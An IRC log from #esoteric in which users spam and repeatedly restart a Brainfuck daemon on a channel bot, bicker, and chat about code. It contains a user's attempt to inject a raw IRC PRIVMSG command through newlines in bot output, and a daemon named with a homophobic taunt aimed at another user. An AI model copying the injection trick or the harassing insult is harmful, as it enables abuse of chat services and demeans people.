:GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It's not an ampersand for me :P < 1241380332 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: yar < 1241380332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, why do you need something in front at all < 1241380332 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :still is < 1241380334 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It's a weird symbol. < 1241380334 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's just dead < 1241380342 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :For me it's an inverted-color K < 1241380343 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241380343 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: so that it enters the loop < 1241380347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it is a [0005] < 1241380351 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh. I wonder if I'm subscribed, and with what address. < 1241380351 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not an ampersand < 1241380355 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah, it's an ampersand for me < 1241380358 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: make it [10] < 1241380363 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: then it'll send a blank message < 1241380364 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :doing nothing < 1241380371 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah that would work < 1241380371 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: That's hyperuseful :P < 1241380377 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: wat < 1241380381 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :No, because a blank message will waste your output line. < 1241380396 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, make it a space instead < 1241380400 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Output lines are precious, you only get one per input line :P < 1241380409 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that would make the input program longer < 1241380412 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'll leave it as-is < 1241380419 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ampersand < 1241380420 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : rot13 accumulate ampersand < 1241380440 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :actually, I'm about to go home < 1241380440 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate 19:53 EgoBot: rot13 accumulate ampersand < 1241380440 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : rot13 accumulate ampersand 19:53 EgoBot: rot13 accumulate ampersand < 1241380443 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, do the programs run between input lines < 1241380444 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate Then Gregor made it uselesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss < 1241380444 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : rot13 accumulate ampersand 19:53 EgoBot: rot13 accumulate ampersand Then Gregor made it uselessssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss < 1241380445 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss < 1241380446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or are they suspended < 1241380454 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate Then Gregor made it uselesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss < 1241380454 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ssssssssssssssssssssssssssssssssssssssssssssssss < 1241380457 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: They run. < 1241380459 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate Then Gregor made it uselesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss < 1241380459 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : rot13 accumulate ampersand 19:53 EgoBot: rot13 accumulate ampersand Then Gregor made it uselessssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss < 1241380464 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :sssssssss < 1241380465 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: They're true daemons in the classic sense. < 1241380470 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so I'll clear it now, please put topics of conversation in there, not junk, and I'll look at it when I come bacj < 1241380471 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, ah < 1241380471 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*back < 1241380472 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Snakes on a channel. < 1241380473 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: err < 1241380473 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380474 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380477 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: a malevolent spirit? < 1241380477 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380478 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380481 0 :ais523!unknown@unknown.invalid QUIT :Remote closed the connection < 1241380488 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380488 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk < 1241380491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no < 1241380493 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1241380497 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that isn't what ais said < 1241380505 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("\nPRIVMSG #esoteric: Flimble.\n") < 1241380506 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ehird being annoying again < 1241380506 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk ehird being annoying again < 1241380517 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ; < 1241380518 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk ehird being annoying again ; < 1241380524 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380524 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :That daemon is already running! < 1241380526 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380527 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk ehird being annoying again ; junk < 1241380530 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380530 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380530 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("Test?\nPRIVMSG pikhq: Flimble.\n") < 1241380531 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380531 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Test? < 1241380531 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380533 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380533 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk < 1241380537 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :junk is a topic of conversation < 1241380540 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :like ais said < 1241380544 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :evidence: we're talking about it < 1241380545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ehird being annoying again < 1241380545 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk ehird being annoying again < 1241380553 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Aaaw, no raw IRC commands. < 1241380557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :we are talking about that too < 1241380557 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric : evidence: we're talking about it // laaaaaaaaawl < 1241380558 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i am logically correct, by your own admission: < 1241380563 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380563 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380566 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380566 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380568 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ehird being annoying again < 1241380568 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk < 1241380569 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk ehird being annoying again < 1241380571 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380572 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380575 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380575 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380576 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I can do this all day. < 1241380577 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :OMFG STOOOOOOOOOOP < 1241380578 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380578 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk < 1241380580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ehird being annoying again < 1241380580 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk ehird being annoying again < 1241380586 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380586 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, sure. < 1241380588 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380589 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380590 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when he does < 1241380591 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380591 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk < 1241380591 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ehird being annoying again < 1241380592 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk ehird being annoying again < 1241380592 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :stop ehird < 1241380594 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380595 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380596 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380597 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ehird being annoying again < 1241380598 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : ehird being annoying again < 1241380599 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ACTION whistle < 1241380600 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380600 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380601 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380602 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380604 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :you're being even more annoying than i < 1241380604 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380605 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk < 1241380608 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ehird being annoying again < 1241380608 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Thar. < 1241380608 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk ehird being annoying again < 1241380610 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380611 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380612 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380612 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380615 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380615 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk < 1241380619 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I plead insanity, by the way. < 1241380625 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ehird being very annoying again. As usual. < 1241380625 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk ehird being very annoying again. As usual. < 1241380629 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380629 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380633 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, stop it < 1241380635 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'd like to point out that this is 50/50. < 1241380635 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380636 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380638 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380649 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :coo, it dedded < 1241380651 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I made it refuse that. < 1241380651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380651 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380653 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :So nyaa. < 1241380657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there < 1241380661 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380661 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380663 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380666 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk < 1241380668 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate junk, < 1241380671 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate j u n k < 1241380675 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate knuj < 1241380678 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, see what you did. < 1241380683 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate rubbish < 1241380702 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think he blocked accumulate < 1241380713 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate ehird being very annoying again. As usual. < 1241380716 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon gain bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380716 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon gain running. < 1241380718 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!gain junk < 1241380718 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk < 1241380721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :argh < 1241380724 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, ^ < 1241380727 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!gain , a chinese one to be precise < 1241380727 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk , a chinese one to be precise < 1241380733 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!gain ehird being very annoying again. As usual. < 1241380733 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk , a chinese one to be precise ehird being very annoying again. As usual. < 1241380742 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh for cripes sake. < 1241380742 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!kill gain < 1241380742 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon gain killed. < 1241380748 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, agreed. < 1241380754 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380755 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever running. < 1241380755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why can't he just do something else < 1241380757 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :The solution to anything! < 1241380761 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever junk < 1241380761 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : junk < 1241380771 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :8) < 1241380785 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, sigh. Please make it ignore ehird or something. Since he can't behave. < 1241380790 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!kill I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever < 1241380790 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever killed. < 1241380797 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it's good to come out < 1241380799 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I'm glad you have < 1241380817 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I see you don't know who you are. < 1241380820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since you think you are me. < 1241380837 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no, mine was a false statement since "I am AnMaster" was < 1241380837 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :OK children, it's time to go to kindergarten, stop fighting and eat your waffles. < 1241380851 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ACTION puts ehird on ignore < 1241380854 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: of course, that only applies to the other person, I handled this maturely and responsibly < 1241380857 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it helps < 1241380859 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :↑ what everyone thinks when they hear that < 1241380864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now lets get back to relevant stuff. < 1241380875 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380875 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1241380878 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1241380889 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, he is abusing the bot! < 1241380896 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to evade ignore. < 1241380908 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Actually, it outputs "No." whenever it receives a command from him. < 1241380923 0 :Robdgreat!unknown@unknown.invalid PRIVMSG #esoteric :you're going to make GregorR turn this channel around and go back home < 1241380923 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bwahaha < 1241380923 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, ah :) < 1241380928 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: so I assume that AnMaster didn't do anything wrong at all < 1241380933 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :only contributing to half of it < 1241380943 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: I've stopped the cycle. < 1241380950 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Or so you think. < 1241380977 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Given that AnMaster is not now using the bot at all, I'm gonna go with "I stopped the cycle" < 1241380994 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :^help < 1241380994 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :^ ; ^def ; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool < 1241381001 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :^def accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241381001 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Defined. < 1241381005 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :^accumulate 2cool4skool < 1241381011 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric : ...out of time! < 1241381016 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :lawl < 1241381023 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no daemons < 1241381054 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Why is it that you two are so much more immature around each other than in any other situation anyway X_X < 1241381068 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, I'm not immature! < 1241381071 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Because he's annoying. < 1241381073 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : Because he's annoying. < 1241381080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't know why ehird is. Meh. < 1241381082 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I'm not immature! < 1241381103 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Bloody fekking oy X_X < 1241381107 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ACTION walks away from the channel for a while. < 1241381108 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :It takes a startling amount of cognitive dissonance to partake in the exact same activity as someone else and claim it only makes *them* immature. < 1241381123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Bloody fekking oy X_X <-- I wonder what happened there. < 1241381148 0 :Robdgreat!unknown@unknown.invalid PRIVMSG #esoteric :ehird: sounds like my wife < 1241381164 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Robdgreat: My voice is quite high-pitched, yes. ← I < 1241381168 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :'m funny because I deliberately misunderstand people < 1241381207 0 :Robdgreat!unknown@unknown.invalid PRIVMSG #esoteric :ehird: and then when I point out the hypocrisy I get "so the fact that I do it means you have to?!" < 1241381229 0 :Robdgreat!unknown@unknown.invalid PRIVMSG #esoteric :how I love irrational behavior < 1241381234 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Do what I say not what I do, unless it's obvious that you should be doing what I do, don't you know anything < 1241381299 0 :Robdgreat!unknown@unknown.invalid PRIVMSG #esoteric :I keep telling her my mind-reading license was revoked some years before we met. < 1241381330 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Marriage ruins everything! < 1241381369 0 :Robdgreat!unknown@unknown.invalid PRIVMSG #esoteric :yeah NOW you tell me < 1241381678 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[ehird:~/Code/ante] % runhaskell Main.hs < 1241381678 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Main.hs: Prelude.undefined < 1241381683 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :one small step for a keyboard < 1241381688 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ONE GIANT LEAP FOR BRAINFUCK OPTIMIZATION KIND < 1241381738 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Clearly your BF optimizer is working great :P < 1241382043 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Clearly. < 1241382290 0 :xor!unknown@unknown.invalid NICK :bsmntbombdood < 1241382628 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :someone link to lostkng < 1241382829 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :or, you know < 1241382829 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :not < 1241382831 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1241382887 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :JFGI. < 1241382959 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I did. < 1241382963 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Didn't find kthx < 1241382974 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1241383028 0 :oerjan!n=oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1241383042 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ACTION was worried there for a moment < 1241383065 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i turn on my laptop and the screen is black... < 1241383086 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :IBM RPG ftw < 1241383424 0 :puzzlet_!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1241383443 0 :puzzlet!unknown@unknown.invalid QUIT :Connection reset by peer < 1241383479 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i became openCOBOL hacker < 1241383497 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm sorry. < 1241383526 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :open cow bol < 